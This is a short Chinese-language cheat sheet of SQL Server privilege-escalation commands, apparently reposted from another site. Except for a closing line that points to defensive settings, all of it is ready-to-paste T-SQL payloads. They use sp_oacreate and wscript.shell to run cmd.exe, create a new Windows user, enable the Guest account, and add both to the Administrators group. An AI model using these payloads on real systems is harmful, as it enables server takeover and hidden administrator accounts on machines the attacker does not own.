SQL 提權 常用命令
來源:互聯網
上載者:User
1、串連資料庫
driver={SQL Server};server=伺服器IP;uid=使用者名稱;pwd=密碼;database=資料庫名
2、添加新使用者
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新使用者 密碼 /add'
3、把使用者加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新使用者 /add'
4、啟用GUEST使用者
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
關於防範方法,可以參考指令碼之家伺服器安全設定欄目。